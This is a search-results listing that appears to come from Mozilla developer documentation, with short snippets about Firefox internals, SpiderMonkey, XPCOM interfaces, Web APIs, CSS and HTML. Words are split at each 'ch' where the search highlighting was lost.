change() the consumer can call this method to let the popup notification module know that the current browser's location has
changed.
...And 21 more matches
PromiseWorker.jsm
summary a promiseworker is a
chromeworker except instead of calling postmessage() to send a message, you call post(), whi
ch returns a promise.
... javascript files imported into the worker scope and main thread scope whi
ch allows posting to the worker and receiving in the form of a promise.
... like
chromeworker objects, promiseworker is mostly used for js-ctypes but it is not limited to that.
...And 21 more matches
Index
these resources are for anyone with an interest in the te
chnical aspects involved in localization.
... 2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, pat
ch, thunderbird first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions.
... 5 index localization found 42 pages: 6 l10n
checks internationalization, localization, localization:tools, tools l10n
checks is a python script and library similar to compare-locales.
...And 21 more matches
Investigating leaks using DMD heap scan mode
if you have a pat
ch that introduces a leak, you are probably better off auditing all of the strong references that your pat
ch creates before trying this.
... the build is going to be very slow, so you may need to disable some shutdown
checks.
... first, in toolkit/components/terminator/nsterminator.cpp, delete everything in runwat
chdog but the call to ns_setcurrentthreadname.
...And 21 more matches
Invariants
(one reason for this is that the object may have wat
chpoints set; the wat
chpoint ma
chinery assumes that all objects with wat
ched properties are native.
... (the jsval encoding depends on this.) the jsstackframe::down
chain never forms a cycle.
... but note that a stack frame is not necessarily newer than the next stack frame down, thanks to generators!) an object's scope
chain (found by
chasing jsobject::fslots[jsslot_parent]) never forms a cycle.
...And 21 more matches
JSAPI reference
the reference applies this versioning s
cheme retroactively starting with firefox 5.
... firefox 4 is the last release that has a corresponding spidermonkey release with the old s
cheme, where the jsapi has the version 1.8.5.
...tparentruntime added in spidermonkey 31 js_getobjectruntime added in spidermonkey 17 js_getcontextprivate js_setcontextprivate js_getsecondcontextprivate added in spidermonkey 17 js_setsecondcontextprivate added in spidermonkey 17 js_setinterruptcallback added in spidermonkey 31 js_getinterruptcallback added in spidermonkey 31 js_requestinterruptcallback added in spidermonkey 31 js_
checkforinterrupt added in jsapi 45 js_destroycontextmaybegc obsolete since jsapi 14 js_setbran
chcallback obsolete since javascript 1.9.1 js_setoperationcallback obsolete since jsapi 30 js_getoperationcallback obsolete since jsapi 30 js_triggeroperationcallback obsolete since jsapi 30 js_clearoperationcallback obsolete since javascript 1.9.1 js_getoperationlimit obsolete since javascript 1...
...And 21 more matches
Querying Places
executing a query places queries have several basic parts: the query object: nsinavhistoryquery, holds the sear
ch parameters the query options: nsinavhistoryqueryoptions, allows configuration of the sear
ch result the history service: nsinavhistoryservice, executes the query the first first step is to create the query and options, and fill them with the parameters you want.
...the defaults for these objects will result in a query that returns all of your browser history in a flat list:
chromeutils.definemodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // whi
ch is nsinavhistoryqueryoptions.sort_by_none.
... results_as_uri: this is the default, and returns one result node of type result_type_uri for ea
ch uri that mat
ches the query.
...And 21 more matches
nsILocalFile
66 introduced gecko 1.0 deprecated gecko 14 inherits from: nsifile last
changed in gecko 1.0 implemented by: @mozilla.org/file/local;1.
... void initwithpath(in astring filepath); void laun
ch(); prlibrarystar load(); native code only!
... appendrelativenativepath appends a relative, native
character encoding, path to the current path of the nsilocalfile object.
...And 21 more matches
Mailnews and Mail code review requirements
this document describes the process for reviewing pat
ches to the mozilla/mailnews and mozilla/mail directories.
... mailnews and mail review rules pat
ches affecting thunderbird user experience or interfaces note: it is recommended that when working on bugs that affect user experience or interfaces, that ui-review is obtained at an early stage in the pat
ch development process.
... getting early ui-reviews this reduces the
chance that work is rejected due to needing further user experience
changes, and hence is aimed at saving time for the developer and reviewers.
...And 21 more matches
AudioWorkletProcessor.process - Web APIs
the method is called syn
chronously from the audio rendering thread, once for ea
ch block of audio (also known as a rendering quantum) being directed through the processor's corresponding audioworkletnode.
... important: currently, audio data blocks are always 128 frames long—that is, they contain 128 32-bit floating-point samples for ea
ch of the inputs'
channels.
... however, plans are already in place to revise the specification to allow the size of the audio blocks to be
changed depending on circumstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes).
...And 21 more matches
Introduction to the DOM - Web APIs
it represents the page so that programs can
change the document structure, style, and content.
...the dom is an object-oriented representation of the web page, whi
ch can be modified with a scripting language su
ch as javascript.
...though we focus exclusively on javascript in this reference documentation, implementations of the dom can be built for any language, as this python example demonstrates: # python dom example import xml.dom.minidom as m doc = m.parse(r"c:\projects\py\
chap1.xml") doc.nodename # dom property of document object p_list = doc.getelementsbytagname("para") for more information on what te
chnologies are involved in writing javascript on the web, see javascript te
chnologies overview.
...And 21 more matches
HTMLTableElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltableelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 21 more matches
MediaTrackConstraints - Web APIs
the mediatrackconstraints dictionary is used to describe a set of capabilities and the value or values ea
ch can take on.
... for ea
ch constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value whi
ch you'd like to be as close to as possible.
...for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, su
ch as facingmode or groupid.
...And 21 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
but webxr goes beyond that by adding the ability to track the location, orientation, and motion of the input devices whi
ch generate data used to determine the position and movement of individual parts of the viewer's body (with appropriate equipment).
... representing a position using a reference space as covered in defining spatial relationships with reference spaces in geometry and reference spaces in webxr, reference spaces establish a local coordinate system whi
ch is offset from another coordinate system that is itself defined by some other space.
... thus, a reference space can be used to define the position and orientation of a point and by extension the entire object for whi
ch that point is the origin.
...And 21 more matches
Web audio spatialization basics - Web APIs
the official term for this is spatialization, and this article will cover the basics of how to implement su
ch a system.
... basics of spatialization in web audio, complex 3d spatializations are created using the pannernode, whi
ch in layman's terms is basically a whole lotta cool maths to make audio appear in 3d space.
...in 3d spaces, it's the only way to a
chieve realistic audio.
...And 21 more matches
window.postMessage() - Web APIs
normally, scripts on different pages are allowed to access ea
ch other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy").
... window.postmessage() provides a controlled me
chanism to securely circumvent this restriction (if used properly).
... broadly, one window may obtain a reference to another (e.g., via targetwindow = window.opener), and then dispat
ch a messageevent on it with targetwindow.postmessage().
...And 21 more matches
Using CSS transitions - CSS: Cascading Style Sheets
css transitions provide a way to control animation speed when
changing css properties.
... instead of having property
changes take effect immediately, you can cause the
changes in a property to take place over a period of time.
... for example, if you
change the color of an element from white to black, usually the
change is instantaneous.
...And 21 more matches
CSS values and units - CSS: Cascading Style Sheets
refer to the page for ea
ch value type for more detailed information.
... textual data types <custom-ident> pre-defined keywords as an <ident> <string> <url> text data types are either <string>, a quoted series of
characters, or an <ident>, a "css identifier" whi
ch is an unquoted string.
... when both quoted and unquoted user defined text values are permitted, the specification will list <custom-ident> | <string>, meaning quotes are optional, su
ch as is the case with animation names: @keyframe validident { /* keyframes go here */ } @keyframe 'validstring' { /* keyframes go here */ } some text values are not valid if encompassed in quotes.
...And 21 more matches
break-before - CSS: Cascading Style Sheets
/* page break values */ break-before: avoid-page; break-before: page; break-before: left; break-before: right; break-before: recto; break-before: verso; /* column break values */ break-before: avoid-column; break-before: column; /* region break values */ break-before: avoid-region; break-before: region; /* global values */ break-before: inherit; break-before: initial; break-before: unset; ea
ch possible break point (in other words, ea
ch element boundary) is affected by three properties: the break-after value of the previous element, the break-before value of the next element, and the break-inside value of the containing element.
...if more than one of them are su
ch a break, the one of the element that appears the latest in the flow is taken (i.e., the break-before value has precedence over the break-after value, whi
ch itself has precedence over the break-inside value).
... if any of the three concerned values is an avoid break value (avoid, avoid-page, avoid-region, or avoid-column), no su
ch break will be applied at that point.
...And 21 more matches
<input type="color"> - HTML: Hypertext Markup Language
only simple colors (without alpha
channel) are allowed though css colors has more formats, e.g.
... color names, functional notations and a hexadecimal format with an alpha
channel.
... value a 7-
character domstring specifying a <color> in lower-case hexadecimal notation events
change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a domstring whi
ch contains a 7-
character string specifying an rgb color in hexadecimal ...
...And 21 more matches
Global attributes - HTML: Hypertext Markup Language
the event handler attributes: onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, on
change, onclick, onclose, oncontextmenu, oncue
change, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, onduration
change, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmous...
...eup, onmousewheel, onpause, onplay, onplaying, onprogress, onrate
change, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolume
change, onwaiting.
...this attribute consists of a space-separated list of
characters.
...And 21 more matches
WebAssembly - JavaScript
you can compare it to math, whi
ch is also a namespace object for mathematical constants and functions, or to intl whi
ch is the namespace object for internationalization constructors and other language-sensitive functions.
... webassembly.table() an array-like structure representing a webassembly table, whi
ch stores function references.
...because the instantiatestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fet
ch() call, and it will pass the response into the function when it fulfills.
...And 21 more matches
Add to Home screen - Progressive web apps (PWAs)
it's also supported in some
chromium desktop browsers.
... we've written a very simple example web site (see our demo live, and also see the source code) that doesn't do mu
ch, but was developed with the necessary code to allow it to be added to a home screen, as well as a service worker to enable it to be used offline.
...(note: in android 8 and higher, a system-level "add to home screen" permission dialog will be shown first.) if you have mobile
chrome available, the experience is slightly different; upon loading our site, you'll see an install banner pop up asking whether you want to add this app to your home screen.
...And 21 more matches
Progressive web app structure - Progressive web apps (PWAs)
ar
chitecture of an app there are two main, different approa
ches to rendering a website — on the server or on the client.
... they both have their advantages and disadvantages, and you can mix the two approa
ches to some degree.
... mixing ssr with csr can lead to the best results — you can render a website on the server, ca
che its contents, and then update the rendering on the client-side as and when needed.
...And 21 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
the stylesheet has to be passed in as an xml document, whi
ch means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet().
...this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous ma
chines linked by a network.
...a top-level element must appear as the
child of either <xsl:stylesheet> or <xsl:transform>.
...And 21 more matches
Desktop gamepad controls - Game development
previous overview: control me
chanisms next now we'll look at adding something extra — support for gamepad controls, via the gamepad api.
... the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the javascript code thanks to the browsers implementing su
ch feature.
... pure javascript approa
ch let's think about implementing pure javascript gamepad controls in our little controls demo first to see how it would work.
...And 20 more matches
Gecko FAQ - Gecko Redirect 1
gecko is the open source browser engine designed to support open internet standards su
ch as html 5, css 3, the w3c dom, xml, javascript, and others.
...gecko has been known previously by the code names "raptor" and "nglayout"; the new name was
chosen following a trademark infringement dispute.
... basically, a layout engine takes content (su
ch as html, xml, image files, applets, and so on) and formatting information (su
ch as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen.
...And 20 more matches
Attribute selectors - Learn web development
presence and value selectors these selectors enable the selection of an element based on the presence of an attribute alone (for example href), or on various different mat
ches against the value of the attribute.
... selector example description [attr] a[title] mat
ches elements with an attr attribute (whose name is the value in square brackets).
... [attr=value] a[href="https://example.com"] mat
ches elements with an attr attribute whose value is exactly value — the string inside the quotes.
...And 20 more matches
What are hyperlinks? - Learn web development
prerequisites: you should know how the internet works and be familiar with the difference between a webpage, a website, a web server, and a sear
ch engine.
...to explain what links are, we need to step back to the very basics of web ar
chitecture.
... back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on whi
ch the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves around documents and how to access them.
...And 20 more matches
Advanced text formatting - Learn web development
previous overview: introduction to html next there are many other elements in html for formatting text, whi
ch we didn't get to in the html text fundamentals article.
...the purpose of these lists is to mark up a set of items and their associated descriptions, su
ch as terms and definitions, or questions and answers.
... let's look at an example of a set of terms and definitions: soliloquy in drama, where a
character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other
characters.) monologue in drama, where a
character speaks their thoughts out loud to share them with the audience and any other
characters present.
...And 20 more matches
Video and Audio APIs - Learn web development
previous overview: client-side web apis next html5 comes with elements for embedding ri
ch media in documents — <video> and <audio> — whi
ch in turn come with their own apis for controlling playback, seeking, etc.
... this article shows you how to do common tasks su
ch as creating custom playback controls.
...here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, whi
ch enables the default set of playback controls.
...And 20 more matches
Getting started with React - Learn web development
we'll discover a little bit of detail about its background and use cases, set up a basic react tool
chain on our local computer, and create and play with a simple starter app — learning a bit about how react works in the process.
...these components can be composed together to create a full ui, and react abstracts away mu
ch of the rendering work, leaving you to concentrate on the ui design.
... while react can be used for small pieces of an interface, it's not as easy to "drop into" an application as a library like jquery, or even a framework like vue — it is more approa
chable when you build your entire app with react.
...And 20 more matches
Command line options
you can also control how mozilla applications open, whi
ch components open initially, and what the components do when they open.
... command parameters containing spaces must be enclosed in quotes, su
ch as "joel user".
... ea
ch message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page atta
chment=www.mozilla.org atta
chment='file:///c:/test.txt' body=
check this page or also in thunderbird 52 and newer: body=c:\path\to\file.txt separate multiple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" .
...And 20 more matches
SVN for Localizers
it's a handy tool that allows us to grab,
change, and store versions of source files in one location.
...you use it to copy files from the server to your computer and to push
changed or localized files back onto the server.
... installing svn client: linux users can download the svn client from http://subversion.apa
che.org/packages.html or install packages provided within their distribution (for example, in debian, sudo apt-get install subversion).
...And 20 more matches
EncDecMAC using token object - sample 3
---" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(stderr, "%-20s specify db password [optional]\n\n", "-p "); fprintf(stderr, "%-20s specify db ...
...secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_me
chanism_type me
chanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, me
chanism, null, keysize, key...
...id, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned
char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned
char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac fa...
...And 20 more matches
SpiderMonkey Internals
interpreter like many portable interpreters, spidermonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a swit
ch statement (or faster alternative, depending on the compiler) to jump to the appropriate
chunk of code for the current instruction.
...so optimizations su
ch as dense arrays and the property ca
che are, alas, not transparently tucked away in the jsarray.* and jsobj.* files.
... compiler the compiler consumes javascript source code and produces a script whi
ch contains bytecode, source annotations, and a pool of string, number, and identifier literals.
...And 20 more matches
Property attributes
see js_defineproperty, js_fs, and js_fn flag description jsprop_enumerate the property is visible to javascript for...in and for ea
ch ...
... mxr id sear
ch for jsprop_enumerate jsprop_readonly the property's value cannot be set.
... mxr id sear
ch for jsprop_readonly jsprop_permanent the property cannot be deleted.
...And 20 more matches
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, whi
ch were themselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 17.
...you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5
checksum: 20b6f8f1140ef6e47daa3b16965c9202).
... please let us know about your experiences with this release by posting in the mozilla.dev.te
ch.js-engine newsgroup.
...And 20 more matches
Packaging WebLock
the installation script for the weblock component can also be used to register the component with the browser into whi
ch it is installed (see registration methods in xpcom for more information on registration).
... the sample installation script shown below uses the mozilla xpinstall te
chnology to manipulate an installer and talk to mozilla's
chrome registry as high-level javascript objects.
... what is the
chrome registry?
...And 20 more matches
nsDependentSubstring
class declaration nstdependentsubstring_
chart a string class whi
ch wraps an external array of string
characters.
... names: nsdependentsubstring for wide
characters nsdependentcsubstring for narrow
characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char operator= adopt replace replaceascii append appendascii appendli...
...teral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsastring_internal data members no public members.
...And 20 more matches
IAccessibleTable2
1.0 66 introduced gecko 1.9.2 inherits from: iunknown last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) please also refer to the iaccessibletablecell interface.
...get] hresult caption([out] iunknown accessible ); [propget] hresult cellat([in] long row, [in] long column, [out] iunknown cell ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult model
change([out] ia2tablemodel
change model
change ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hresult nselectedcells([out] long cellcount ); [propget] hresult nselectedcolumns([out] long columncount ); [propget] hresult nselectedrows([out] long rowcount ); [propget] hresult rowdescription([in] long row, [out] bstr descriptio...
...[propget] hresult cellat( [in] long row, [in] long column, [out] iunknown cell ); parameters row the 0 based row index for whi
ch to retrieve the cell.
...And 20 more matches
nsIAccessibleRetrieval
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiaccessible getaccessiblefor(in nsidomnode anode); nsiaccessible getaccessibleinshell(in nsidomnode anode, in nsipresshell apresshell); nsiaccessible getaccessibleinweakshell(in nsidomnode anode, in nsiweakreference apresshell); obsolete since gecko 2.0 nsiaccessible getaccessibleinwindow(in nsidomnode anode, in nsidomwindow adomwin); obsolete since gecko 2.0 nsiaccessible getapplicationaccessible(); nsiaccessible getatta
chedaccessible...
...for(in nsidomnode anode); nsiaccessible getca
chedaccessible(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsiaccessnode getca
chedaccessnode(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsidomnode getrelevantcontentnodefor(in nsidomnode anode); astring getstringeventtype(in unsigned long aeventtype); astring getstringrelationtype(in unsigned long arelationtype); astring getstringrole(in unsigned long arole); nsidomdomstringlist getstringstates(in unsigned long astates, in unsigned long aextrastates); methods getaccessiblefor() return an nsiaccessible for a dom node in pres shell 0.
... create a new accessible of the appropriate type if necessary, or use one from the accessibility ca
che if it already exists.
...And 20 more matches
nsIMsgDatabase
last
changed in gecko 1.9 (firefox 3) inherits from: nsidb
changeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearca
chedhdrs; void resethdrca
chesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey ...
... nsisimpleenumerator enumeratemessages(); nsisimpleenumerator enumeratethreads(); void synccounts; nsimsgthread getthreadcontainingmsghdr(in nsimsgdbhdr msghdr); void markhdrread(in nsimsgdbhdr msghdr, in boolean bread, in nsidb
changelistener instigator); void markhdrreplied(in nsimsgdbhdr msghdr, in boolean breplied, in nsidb
changelistener instigator); void markhdrmarked(in nsimsgdbhdr msghdr, in boolean mark,in nsidb
changelistener instigator); void markmdnneeded(in nsmsgkey key, in boolean bneeded,in nsidb
changelistener instigator); boolean ismdnneeded(in nsmsgkey key); void markmdnsent(in nsmsgkey key, in bool...
...ean bneeded, in nsidb
changelistener instigator); boolean ismdnsent(in nsmsgkey key); void markread(in nsmsgkey key, in boolean bread, in nsidb
changelistener instigator); void markreplied(in nsmsgkey key, in boolean breplied, in nsidb
changelistener instigator); void markforwarded(in nsmsgkey key, in boolean bforwarded, in nsidb
changelistener instigator); void markhasatta
chments(in nsmsgkey key, in boolean bhasatta
chments, in nsidb
changelistener instigator); void markthreadread(in nsimsgthread thread, in nsidb
changelistener instigator, in nsmsgkeyarrayptr thosemarked); native code only!
...And 20 more matches
nsINavHistoryQuery
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the nsinavhistoryquery is not intended to be a super-general query me
chanism.
...this allows place queries to be returned (whi
ch might include bookmark folders -- use the bookmark service's getfolderuri) as well as anything else that may have been tagged with an annotation.
... begintimereference long one of the constants time_relative_* whi
ch indicates how to interpret the corresponding begin time value.
...And 20 more matches
nsIProtocolHandler
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean allowport(in long port, in string s
cheme); nsi
channel new
channel(in nsiuri auri); nsiuri newuri(in autf8string aspec, in string aorigin
charset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default.
... s
cheme acstring the s
cheme for this protocol ("file", "http", and so forth).
... uri_forbids_automatic_document_replacement 1<<5 "automatic" loads that would replace the document (su
ch as a meta refresh, certain types of xlinks, and other non-user-triggered loads) are not allowed if the originating uri has this protocol flag.
...And 20 more matches
Introduction to DOM Inspector - Firefox Developer Tools
dom inspector can serve as a sanity
check to verify the state of the dom, or it can be used to manipulate the dom by hand, if desired.
... inspecting
chrome documents the inspect
chrome document menupopup can be accessed from the file menu , and it will contain the list of currently loaded
chrome windows and subdocuments.
...the dom inspector keeps track of all the windows that are open, so to inspect the dom of a particular window in the dom inspector, simply access that window as you would normally and then
choose its title from this dynamically updated menulist.
...And 20 more matches
Debugger.Frame - Firefox Developer Tools
given a debugger.frame instance, you can find the script the frame is executing, walk the stack to older frames, find the lexical environment in whi
ch the execution is taking place, and so on.
... (if more than one debugger instance is debugging the same code, ea
ch debugger gets a separate debugger.frame instance for a given frame.
... this allows the code using ea
ch debugger instance to place whatever properties it likes on its debugger.frame instances, without worrying about interfering with other debuggers.) when the debuggee pops a stack frame (say, because a function call has returned or an exception has been thrown from it), the debugger.frame instance referring to that frame becomes inactive: its live property becomes false, and accessing its other properties or calling its methods throws an exception.
...And 20 more matches
AudioBufferSourceNode - Web APIs
the audiobuffersourcenode interface is an audios
cheduledsourcenode whi
ch represents an audio source consisting of in-memory audio data, stored in an audiobuffer.
... it's especially useful for playing back audio whi
ch has particularly stringent timing accuracy requirements, su
ch as for sounds that must mat
ch a specific rhythm and can be kept in memory rather than being played from disk or the network.
... to play sounds whi
ch require accurate timing but must be streamed from the network or played from disk, use a audioworkletnode to implement its playback.
...And 20 more matches
Using the CSS Typed Object Model - Web APIs
let's see how this works by creating our first example, whi
ch explores computedstylemap().
... we start with some html: a paragraph with a link, as well as a definition list to whi
ch we will add all the css property / value pairs.
... // get the element const myelement = document.queryselector('a'); // get the <dl> we'll be populating const styleslist = document.queryselector('#regurgitation'); // retrieve all computed styles with computedstylemap() const defaultcomputedstyles = myelement.computedstylemap(); // iterate thru the map of all the properties and values, adding a <dt> and <dd> for ea
ch for (const [prop, val] of defaultcomputedstyles) { // properties const cssproperty = document.createelement('dt'); cssproperty.append
child(document.createtextnode(prop)); styleslist.append
child(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.append
child(document.createtextnode(val)); styleslist.append
child(cssvalue); } the computedstylemap() method return...
...And 20 more matches
File and Directory Entries API - Web APIs
you can develop apps whi
ch read, write, and create files and/or directories in a virtual, sandboxed file system.
...
check the browser compatibility section for details.
... two very similar apis exist depending on whether you desire asyn
chronous or syn
chronous behavior.
...And 20 more matches
PaymentRequest.show() - Web APIs
it may only be called while handling events that represent user interactions, su
ch as click, keyup, or the like.
... if your ar
chitecture doesn't necessarily have all of the data ready to go at the moment it instantiates the payment interface by calling show(), specify the detailspromise parameter, providing a promise that is fulfilled once the data is ready.
... processing the result and, if necessary, calling paymentresponse.retry() to retry a failed payment can all be done either asyn
chronously or syn
chronously, depending on your needs.
...And 20 more matches
Selection - Web APIs
the an
chor is where the user began the selection and the focus is where the user ends the selection.
... if you make a selection with a desktop mouse, the an
chor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button.
... an
chor and focus should not be confused with the start and end positions of a selection.
...And 20 more matches
Using writable streams - Web APIs
only
chrome currently has basic writable streams implemented.
...this takes a given message and writes it into a writable stream, displaying ea
ch chunk on the ui as it is written to the stream and also displaying the whole message on the ui when writing has finished.
... the syntax skeleton looks like this: const stream = new writablestream({ start(controller) { }, write(
chunk,controller) { }, close(controller) { }, abort(reason) { } }, { highwatermark, size() }); the constructor takes two objects as parameters.
...And 20 more matches
Coordinate systems - CSS: Cascading Style Sheets
the position is specified as the number of pixels offset from the origin along ea
ch dimension of the context.
... dimensions in the coordinate systems used by web te
chnologies, convention dictates that the horizontal offset is called the x-coordinate, where a negative value indicates a position to the left of the origin and a positive value is to the right of the origin.
... it's actually possible to
change the definitions and orientations of these coordinate systems using css properties su
ch as transform.
...And 20 more matches
OpenType font features guide - CSS: Cascading Style Sheets
font features or variants refer to different glyphs or
character styles contained within an opentype font.
... these include things like ligatures (special glyphs that combine
characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others.
... some fonts will have one or more of these features enabled by default (kerning and default ligatures are common examples), while others are left to the designer or developer to
choose to enable in specific scenarios.
